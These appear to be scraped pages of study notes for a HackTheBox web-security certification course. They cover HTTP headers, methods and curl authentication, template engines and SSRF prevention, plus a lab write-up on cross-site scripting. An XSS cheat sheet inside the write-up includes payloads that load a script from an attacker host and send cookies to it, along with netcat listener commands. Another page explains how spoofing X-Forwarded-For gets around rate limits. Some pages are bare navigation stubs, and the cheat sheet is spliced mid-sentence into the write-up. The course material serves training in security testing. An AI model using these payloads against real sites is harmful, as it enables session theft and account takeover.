**Header** **Example** **Description** `Server` `Server: Apache/2.2.14 (Win32)` Contains information about the HTTP server, which processed the request. It can be used to gain information about the server, such as its version, and enumerate it further. `Set-Cookie` `Set-Cookie: PHPSESSID=b4e4fbd93540` Contains the cookies needed for client identification. Browsers parse the cookies and store them for future requests. This header follows the same format as the `Cookie` request header. `WWW-Authenticate` `WWW-Authenticate: BASIC realm="localhost"` Notifies the client about the type of authentication required to access the requested resource. * * * ### Security Headers[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#security-headers) Finally, we have [Security Headers](https://owasp.org/www-project-secure-headers/) . With the increase in the variety of browsers and web-based attacks, defining certain headers that enhanced security was necessary. HTTP Security headers are `a class of response headers used to specify certain rules and policies` to be followed by the browser while accessing the website. **Header** **Example** **Description** `Content-Security-Policy` `Content-Security-Policy: script-src 'self'` Dictates the website's policy towards externally injected resources. This could be JavaScript code as well as script resources. This header instructs the browser to accept resources only from certain trusted domains, hence preventing attacks such as [Cross-site scripting (XSS)](https://en.wikipedia.org/wiki/Cross-site_scripting) . `Strict-Transport-Security` `Strict-Transport-Security: max-age=31536000` Prevents the browser from accessing the website over the plaintext HTTP protocol, and forces all communication to be carried over the secure HTTPS protocol. This prevents attackers from sniffing web traffic and accessing protected information such as passwords or other sensitive data. `Referrer-Policy` `Referrer-Policy: origin` Dictates whether the browser should include the value specified via the `Referer` header or not. It can help in avoiding disclosing sensitive URLs and information while browsing the website. Note: This section only mentions a small subset of commonly seen HTTP headers. There are many other contextual headers that can be used in HTTP communications. It's also possible for applications to define custom headers based on their requirements. A complete list of standard HTTP headers can be found [here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers) . ### Browser DevTools[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#browser-devtools) Finally, let's see how we can preview the HTTP headers using the browser devtools. Just as we did in the previous section, we can go to the `Network` tab to view the different requests made by the page. We can click on any of the requests to view its details: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F35%2Fdevtools_network_requests_details.jpg&width=768&dpr=3&quality=100&sign=4eeda9b8&sv=2) Browser DevTools In the first `Headers` tab, we see both the HTTP request and HTTP response headers. The devtools automatically arrange the headers into sections, but we can click on the `Raw` button to view their details in their raw format. Furthermore, we can check the `Cookies` tab to see any cookies used by the request, as discussed in an upcoming section. ### Exercise[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#exercise) Target: 94.237.49.182:53523 The server above loads the flag after the page is loaded. Use the Network tab in the browser devtools to see what requests are made by the page, and find the request to the flag. 1. Pull up dev tools in browser and go to the network sections ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FjgJJvXAbuNqC8I6uhfis%252Fimage.png%3Falt%3Dmedia%26token%3D78b80228-15f4-435e-8223-08212bcc1ef3&width=768&dpr=3&quality=100&sign=6522e0f6&sv=2) Observing Network Traffic 1. Notice the flag file with the JavaScript file click on it and look under the response. ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FA2Bvr4AY48JF4HaDmgO3%252Fimage.png%3Falt%3Dmedia%26token%3D4f50fc11-800d-4d78-bd28-c0efeaf04d0a&width=768&dpr=3&quality=100&sign=994bb328&sv=2) Response with the flag #### Answer: HTB{p493\_r3qu3$t$\_m0n!t0r}[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#answer-htb-p493_r3qu3usdtusd_m0n-t0r) [PreviousHTTP Requests and Responses](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-requests-and-responses) [NextHTTP Methods](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods) Last updated 2 years ago * [General Headers](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#general-headers) * [Entity Headers](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#entity-headers) * [Request Headers](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#request-headers) * [Response Headers](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#response-headers) * [Security Headers](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#security-headers) * [Browser DevTools](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#browser-devtools) * [Exercise](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#exercise) --- # HTTP Methods | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods.md) . [HTTP Methods and Codes](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/http-methods-and-codes) [GET](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/get) [POST](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/post) [CRUD API](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/crud-api) [PreviousHTTP Headers](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers) [NextHTTP Methods and Codes](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/http-methods-and-codes) --- # HTTP Methods and Codes | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/http-methods-and-codes.md) . HTTP supports multiple methods for accessing a resource. In the HTTP protocol, several request methods allow the browser to send information, forms, or files to the server. These methods are used, among other things, to tell the server how to process the request we send and how to reply. We saw different HTTP methods used in the HTTP requests we tested in the previous sections. With cURL, if we use `-v` to preview the full request, the first line contains the HTTP method (e.g. `GET / HTTP/1.1`), while with browser devtools, the HTTP method is shown in the `Method` column. Furthermore, the response headers also contain the HTTP response code, which states the status of processing our HTTP request. ### Request Methods[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/http-methods-and-codes#request-methods) The following are some of the commonly used methods: **Method** **Description** `GET` Requests a specific resource. Additional data can be passed to the server via query strings in the URL (e.g. `?param=value`). `POST` Sends data to the server. It can handle multiple types of input, such as text, PDFs, and other forms of binary data. This data is appended in the request body present after the headers. The POST method is commonly used when sending information (e.g. forms/logins) or uploading data to a website, such as images or documents. `HEAD` Requests the headers that would be returned if a GET request was made to the server. It doesn't return the request body and is usually made to check the response length before downloading resources. `PUT` Creates new resources on the server. Allowing this method without proper controls can lead to uploading malicious resources. `DELETE` Deletes an existing resource on the webserver. If not properly secured, can lead to Denial of Service (DoS) by deleting critical files on the web server. `OPTIONS` Returns information about the server, such as the methods accepted by it. `PATCH` Applies partial modifications to the resource at the specified location. The list only highlights a few of the most commonly used HTTP methods. The availability of a particular method depends on the server as well as the application configuration. For a full list of HTTP methods, you can visit this [link](https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods) . Note: Most modern web applications mainly rely on the `GET` and `POST` methods. However, any web application that utilizes REST APIs also rely on `PUT` and `DELETE`, which are used to update and delete data on the API endpoint, respectively. Refer to the [Introduction to Web Applications](https://academy.hackthebox.com/module/details/75) module for more details. * * * ### Response Codes[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/http-methods-and-codes#response-codes) HTTP status codes are used to tell the client the status of their request. An HTTP server can return five types of response codes: **Type** **Description** `1xx` Provides information and does not affect the processing of the request. `2xx` Returned when a request succeeds. `3xx` Returned when the server redirects the client. `4xx` Signifies improper requests `from the client`. For example, requesting a resource that doesn't exist or requesting a bad format. `5xx` Returned when there is some problem `with the HTTP server` itself. The following are some of the commonly seen examples from each of the above HTTP method types: **Code** **Description** `200 OK` Returned on a successful request, and the response body usually contains the requested resource. `302 Found` Redirects the client to another URL. For example, redirecting the user to their dashboard after a successful login. `400 Bad Request` Returned on encountering malformed requests such as requests with missing line terminators. `403 Forbidden` Signifies that the client doesn't have appropriate access to the resource. It can also be returned when the server detects malicious input from the user. `404 Not Found` Returned when the client requests a resource that doesn't exist on the server. `500 Internal Server Error` Returned when the server cannot process the request. For a full list of standard HTTP response codes, you can visit this [link](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status) . Apart from the standard HTTP codes, various servers and providers such as [Cloudflare](https://support.cloudflare.com/hc/en-us/articles/115003014432-HTTP-Status-Codes) or [AWS](https://docs.aws.amazon.com/AmazonSimpleDB/latest/DeveloperGuide/APIError.html) implement their own codes. [Previous](https://academy.hackthebox.com/module/35/section/223) Mark Complete & Next[Next](https://academy.hackthebox.com/module/35/section/247) Cheat Sheet [PreviousHTTP Methods](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods) [NextGET](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/get) Last updated 2 years ago * [Request Methods](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/http-methods-and-codes#request-methods) * [Response Codes](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/http-methods-and-codes#response-codes) --- # GET | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/get.md) . ### HTTP Basic Auth[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/get#http-basic-auth) When we visit the exercise found at the end of this section, it prompts us to enter a username and a password. Unlike the usual login forms, which utilize HTTP parameters to validate the user credentials (e.g. POST request), this type of authentication utilizes a `basic HTTP authentication`, which is handled directly by the webserver to protect a specific page/directory, without directly interacting with the web application. To access the page, we have to enter a valid pair of credentials, which are `admin`:`admin` in this case: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F35%2Fhttp_auth_login.jpg&width=768&dpr=3&quality=100&sign=29826756&sv=2) Once we enter the credentials, we would get access to the page: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F35%2Fhttp_auth_index.jpg&width=768&dpr=3&quality=100&sign=452868b1&sv=2) Let's try to access the page with cURL, and we'll add `-i` to view the response headers: GET As we can see, we get `Access denied` in the response body, and we also get `Basic realm="Access denied"` in the `WWW-Authenticate` header, which confirms that this page indeed uses `basic HTTP auth`, as discussed in the Headers section. To provide the credentials through cURL, we can use the `-u` flag, as follows: GET This time we do get the page in the response. There is another method we can provide the `basic HTTP auth` credentials, which is directly through the URL as (`username:password@URL`), as we discussed in the first section. If we try the same with cURL or our browser, we do get access to the page as well: GET We may also try visiting the same URL on a browser, and we should get authenticated as well. ### HTTP Authorization Header[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/get#http-authorization-header) If we add the `-v` flag to either of our earlier cURL commands: GET As we are using `basic HTTP auth`, we see that our HTTP request sets the `Authorization` header to `Basic YWRtaW46YWRtaW4=`, which is the base64 encoded value of `admin:admin`. If we were using a modern method of authentication (e.g. `JWT`), the `Authorization` would be of type `Bearer` and would contain a longer encrypted token. Let's try to manually set the `Authorization`, without supplying the credentials, to see if it does allow us access to the page. We can set the header with the `-H` flag, and will use the same value from the above HTTP request. We can add the `-H` flag multiple times to specify multiple headers: GET As we see, this also gave us access to the page. These are a few methods we can use to authenticate to the page. Most modern web applications use login forms built with the back-end scripting language (e.g. PHP), which utilize HTTP POST requests to authenticate the users and then return a cookie to maintain their authentication. * * * ### GET Parameters[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/get#get-parameters) Once we are authenticated, we get access to a `City Search` function, in which we can enter a search term and get a list of matching cities: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F35%2Fhttp_auth_index.jpg&width=768&dpr=3&quality=100&sign=452868b1&sv=2) As the page returns our results, it may be contacting a remote resource to obtain the information, and then display them on the page. To verify this, we can open the browser devtools and go to the Network tab, or use the shortcut \[`CTRL+SHIFT+E`\] to get to the same tab. Before we enter our search term and view the requests, we may need to click on the `trash` icon on the top left, to ensure we clear any previous requests and only monitor newer requests: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F35%2Fnetwork_clear_requests.jpg&width=768&dpr=3&quality=100&sign=d80d7de4&sv=2) After that, we can enter any search term and hit enter, and we will immediately notice a new request being sent to the backend: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F35%2Fweb_requests_get_search.jpg&width=768&dpr=3&quality=100&sign=64f9cf10&sv=2) When we click on the request, it gets sent to `search.php` with the GET parameter `search=le` used in the URL. This helps us understand that the search function requests another page for the results. Now, we can send the same request directly to `search.php` to get the full search results, though it will probably return them in a specific format (e.g. JSON) without having the HTML layout shown in the above screenshot. To send a GET request with cURL, we can use the exact same URL seen in the above screenshots since GET requests place their parameters in the URL. However, browser devtools provide a more convenient method of obtaining the cURL command. We can right-click on the request and select `Copy>Copy as cURL`. Then, we can paste the copied command in our terminal and execute it, and we should get the exact same response: GET Note: The copied command will contain all headers used in the HTTP request. However, we can remove most of them and only keep necessary authentication headers, like the `Authorization` header. We can also repeat the exact request right within the browser devtools, by selecting `Copy>Copy as Fetch`. This will copy the same HTTP request using the JavaScript Fetch library. Then, we can go to the JavaScript console tab by clicking \[`CTRL+SHIFT+K`\], paste our Fetch command and hit enter to send the request: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F35%2Fweb_requests_fetch_search.jpg&width=768&dpr=3&quality=100&sign=ddcba0bc&sv=2) As we see, the browser sent our request, and we can see the response returned after it. We can click on the response to view its details, expand various details, and read them. [PreviousHTTP Methods and Codes](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/http-methods-and-codes) [NextPOST](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/post) Last updated 2 years ago * [HTTP Basic Auth](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/get#http-basic-auth) * [HTTP Authorization Header](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/get#http-authorization-header) * [GET Parameters](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/get#get-parameters) Copy johnnyhacker24@htb[/htb]$ curl -i http://:/ HTTP/1.1 401 Authorization Required Date: Mon, 21 Feb 2022 13:11:46 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-cache, must-revalidate, max-age=0 WWW-Authenticate: Basic realm="Access denied" Content-Length: 13 Content-Type: text/html; charset=UTF-8 Access denied Copy johnnyhacker24@htb[/htb]$ curl -u admin:admin http://:/ ...SNIP... Copy johnnyhacker24@htb[/htb]$ curl http://admin:admin@:/ ...SNIP... Copy johnnyhacker24@htb[/htb]$ curl -v http://admin:admin@:/ * Trying :... * Connected to () port PORT (#0) * Server auth using Basic with user 'admin' > GET / HTTP/1.1 > Host: > Authorization: Basic YWRtaW46YWRtaW4= > User-Agent: curl/7.77.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Mon, 21 Feb 2022 13:19:57 GMT < Server: Apache/2.4.41 (Ubuntu) < Cache-Control: no-store, no-cache, must-revalidate < Expires: Thu, 19 Nov 1981 08:52:00 GMT < Pragma: no-cache < Vary: Accept-Encoding < Content-Length: 1453 < Content-Type: text/html; charset=UTF-8 < ...SNIP... Copy johnnyhacker24@htb[/htb]$ curl -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://:/ ...SNIP... Copy johnnyhacker24@htb[/htb]$ curl 'http://:/search.php?search=le' -H 'Authorization: Basic YWRtaW46YWRtaW4=' Leeds (UK) Leicester (UK) --- # Advanced SQL Map Usage | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/advanced-sql-map-usage.md) . [Bypassing Web Application Protections](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/advanced-sql-map-usage/bypassing-web-application-protections) [OS Exploitation](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/advanced-sql-map-usage/os-exploitation) [PreviousAdvanced Database Enumeration](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration/advanced-database-enumeration) [NextBypassing Web Application Protections](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/advanced-sql-map-usage/bypassing-web-application-protections) --- # Brute Force Attacks | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks.md) . [Enumerating Users](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/enumerating-users) [Brute-Forcing Passwords](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-passwords) [Brute-Forcing Password Reset Tokens](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-password-reset-tokens) [Brute-Forcing 2FA Codes](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-2fa-codes) [Weak Brute-Force Protection](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/weak-brute-force-protection) [PreviousAttacks on Authentication](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication/attacks-on-authentication) [NextEnumerating Users](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/enumerating-users) --- # Prevention | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention.md) . [Command Injection Prevention](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention/command-injection-prevention) [PreviousEvasion Tools](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/evasion-tools) [NextCommand Injection Prevention](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention/command-injection-prevention) --- # Template Engines | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/template-engines.md) . * * * A template engine is software that combines pre-defined templates with dynamically generated data and is often used by web applications to generate dynamic responses. An everyday use case for template engines is a website with shared headers and footers for all pages. A template can dynamically add content but keep the header and footer the same. This avoids duplicate instances of header and footer in different places, reducing complexity and thus enabling better code maintainability. Popular examples of template engines are [Jinja](https://jinja.palletsprojects.com/en/3.1.x/) and [Twig](https://twig.symfony.com/) . * * * ### Templating[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/template-engines#templating) Template engines typically require two inputs: a template and a set of values to be inserted into the template. The template can typically be provided as a string or a file and contains pre-defined places where the template engine inserts the dynamically generated values. The values are provided as key-value pairs so the template engine can place the provided value at the location in the template marked with the corresponding key. Generating a string from the input template and input values is called `rendering`. The template syntax depends on the concrete template engine used. For demonstration purposes, we will use the syntax used by the `Jinja` template engine throughout this section. Consider the following template string: Code: jinja2 Copy Hello {{ name }}! It contains a single variable called `name`, which is replaced with a dynamic value during rendering. When the template is rendered, the template engine must be provided with a value for the variable `name`. For instance, if we provide the variable `name="vautia"` to the rendering function, the template engine will generate the following string: Copy Hello vautia! As we can see, the template engine simply replaces the variable in the template with the dynamic value provided to the rendering function. While the above is a simplistic example, many modern template engines support more complex operations typically provided by programming languages, such as conditions and loops. For instance, consider the following template string: Code: jinja2 Copy {% for name in names %} Hello {{ name }}! {% endfor %} The template contains a `for-loop` that loops over all elements in a variable `names`. As such, we need to provide the rendering function with an object in the `names` variable that it can iterate over. For instance, if we pass the function with a list such as `names=["vautia", "21y4d", "Pedant"]`, the template engine will generate the following string: Copy Hello vautia! Hello 21y4d! Hello Pedant! [PreviousSSTI](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti) [NextIdentifying SSTI](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/identifying-ssti) Last updated 10 months ago --- # Building Attacks | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks.md) . [Running SQLMap on an HTTP Request](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/running-sqlmap-on-an-http-request) [Handling SQLMap Errors](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/handling-sqlmap-errors) [Attack Tuning](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/attack-tuning) [PreviousSQLMap Output Description](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview/sqlmap-output-description) [NextRunning SQLMap on an HTTP Request](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/running-sqlmap-on-an-http-request) --- # Preventing SSRF | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/preventing-ssrf.md) . Preventing SSRF[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/preventing-ssrf#preventing-ssrf) --------------------------------------------------------------------------------------------------------------------- * * * After discussing identifying and exploiting SSRF vulnerabilities, we will dive into SSRF prevention and mitigation techniques. * * * ### Prevention[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/preventing-ssrf#prevention) Mitigations and countermeasures against SSRF vulnerabilities can be implemented at the web application or network layers. If the web application fetches data from a remote host based on user input, proper security measures to prevent SSRF scenarios are crucial. The remote origin data is fetched from should be checked against a whitelist to prevent an attacker from coercing the server to make requests against arbitrary origins. A whitelist prevents an attacker from making unintended requests to internal systems. Additionally, the URL scheme and protocol used in the request need to be restricted to prevent attackers from supplying arbitrary protocols. Instead, it should be hardcoded or checked against a whitelist. As with any user input, input sanitization can help prevent unexpected behavior that may lead to SSRF vulnerabilities. On the network layer, appropriate firewall rules can prevent outgoing requests to unexpected remote systems. If properly implemented, a restricting firewall configuration can mitigate SSRF vulnerabilities in the web application by dropping any outgoing requests to potentially interesting target systems. Additionally, network segmentation can prevent attackers from exploiting SSRF vulnerabilities to access internal systems. For more details on the SSRF mitigation measures, check out the [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html) . [PreviousBlind SSRF](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/blind-ssrf) [NextSSTI](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti) Last updated 10 months ago * [Preventing SSRF](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/preventing-ssrf#preventing-ssrf) * [Prevention](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/preventing-ssrf#prevention) --- # XSLT Injection | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection.md) . [Intro to XSLT Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/intro-to-xslt-injection) [Exploiting XSLT Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/exploiting-xslt-injection) [Preventing XSLT Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/preventing-xslt-injection) [PreviousPreventing SSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/preventing-ssi-injection) [NextIntro to XSLT Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/intro-to-xslt-injection) --- # Additional Write Up | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/7.-cross-site-scripting-xss/skills-assessment/additional-write-up.md) . HTB Skills Assessment: Cross Site Scripting (XSS)[](https://my-gitbook-2.gitbook.io/cbbh/7.-cross-site-scripting-xss/skills-assessment/additional-write-up#id-7309) -------------------------------------------------------------------------------------------------------------------------------------------------------------------- [![Cole Grim](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afill%3A64%3A64%2F1*_2v9oK_tErqgDLO01DArRQ.jpeg&width=300&dpr=3&quality=100&sign=49ebfedc&sv=2)](https://medium.com/@colegrim?source=post_page---byline--6b9f001bd9bd---------------------------------------) [Cole Grim](https://medium.com/@colegrim?source=post_page---byline--6b9f001bd9bd---------------------------------------) Follow2 min read·Apr 21, 2025 1 My target is 10.129.122.45 * What is the value of the ‘flag’ cookie? Well, only 1 question here with no direction other than to access the assessment directory, so we’ll get to work. Loading [http://10.129.122.45/assessment](http://10.129.122.45/assessment) reveals a page with a search box. Clicking around, I also see a post. On that post at [http://10.129.122.45/assessment/index.php/2021/06/11/welcome-to-security-blog/](http://10.129.122.45/assessment/index.php/2021/06/11/welcome-to-security-blog/) I see a page with several fields ‘Comment’ ‘Name’ ‘Email’ ‘Website’ a checkbox, and another search field. Noting the page says ‘comments must be approved by an admin’, so we will probably have an opportunity for blind XSS here. We’ll start off starting a web server on my machine: Copy └─$ sudo php -S 0.0.0.0:80 We’ll test out some XSS payloads to see if any are executed. I put these in the boxes: Copy ">` Basic XSS Payload `` Basic XSS Payload `<script>print()</script>` Basic XSS Payload `<img src="" onerror=alert(window.origin)>` HTML-based XSS Payload `<script>document.body.style.background = "#141d2b"</script>` Change Background Color `<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"</script>` Change Background Image `<script>document.title = 'HackTheBox Academy'</script>` Change Website Title `<script>document.getElementsByTagName('body')[0].innerHTML = 'text'</script>` Overwrite website's main body `<script>document.getElementById('urlform').remove();</script>` Remove certain HTML element `<script src="http://OUR_IP/script.js"></script>` Load remote script `<script>new Image().src='http://OUR_IP/index.php?c='+document.cookie</script>` Send Cookie details to us **Commands** `python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test"` Run `xsstrike` on a url parameter `sudo nc -lvnp 80` Start `netcat` listener `sudo php -S 0.0.0.0:80` Start `PHP` server [PreviousAdditional Write Up](https://my-gitbook-2.gitbook.io/cbbh/7.-cross-site-scripting-xss/skills-assessment/additional-write-up) [NextIntro](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/intro) Last updated 8 months ago --- # Weak Brute-Force Protection | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/weak-brute-force-protection.md) . Weak Brute-Force Protection[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/weak-brute-force-protection#weak-brute-force-protection) -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- * * * After understanding different brute-force attacks on authentication mechanisms, this section will discuss security mechanisms that thwart brute-forcing and how to potentially bypass them. Among the common types of brute-force protection mechanisms are rate limits and CAPTCHAs. * * * ### Rate Limits[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/weak-brute-force-protection#rate-limits) Rate limiting is a crucial technique employed in software development and network management to control the rate of incoming requests to a system or API. Its primary purpose is to prevent servers from being overwhelmed by too many requests at once, prevent system downtime, and prevent brute-force attacks. By limiting the number of requests allowed within a specified time frame, rate limiting helps maintain stability and ensures fair usage of resources for all users. It safeguards against abuse, such as denial-of-service (DoS) attacks or excessive usage by individual clients, by enforcing a maximum threshold on the frequency of requests. When an attacker conducts a brute-force attack and hits the rate limit, the attack will be thwarted. A rate limit typically increments the response time iteratively until a brute-force attack becomes infeasible or blocks the attacker from accessing the service for a certain amount of time. A rate limit should only be enforced on an attacker, not regular users, to prevent DoS scenarios. Many rate limit implementation rely on the IP address to identify the attacker. However, in a real-world scenario, obtaining the attacker's IP address might not always be as simple as it seems. For instance, if there are middleboxes such as reverse proxies, load balancers, or web caches, a request's source IP address will belong to the middlebox, not the attacker. Thus, some rate limits rely on HTTP headers such as `X-Forwarded-For` to obtain the actual source IP address. However, this causes an issue as an attacker can set arbitrary HTTP headers in request, bypassing the rate limit entirely. This enables an attacker to conduct a brute-force attack by randomizing the `X-Forwarded-For` header in each HTTP request to avoid the rate limit. 